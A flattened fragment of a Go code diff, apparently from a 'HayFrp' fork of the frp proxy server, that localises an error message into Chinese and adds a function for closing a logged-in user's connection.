RegisterVisitorConn(visitorConn net.Conn, newMsg *msg.NewVis if newMsg.RunID != "" { ctl, exist := svr.ctlManager.GetByID(newMsg.RunID) if !exist { - return fmt.Errorf("no client control found for run id [%s]", newMsg.RunID) + return fmt.Errorf("[HayFrp] 未找到运行ID为 [%s] 的客户端控件", newMsg.RunID) } visitorUser = ctl.loginMsg.User } return svr.rc.VisitorManager.NewConn(newMsg.ProxyName, visitorConn, newMsg.Timestamp, newMsg.SignKey, newMsg.UseEncryption, newMsg.UseCompression, visitorUser) } +func (svr *Service) CloseUser(user string) error { + ctl, ok := svr.ctlManager.SearchByID(user) + if !ok { + return fmt.Errorf("[HayFrp] 客户端用户没有登录") + } + ctl.conn.Close() + return nil +}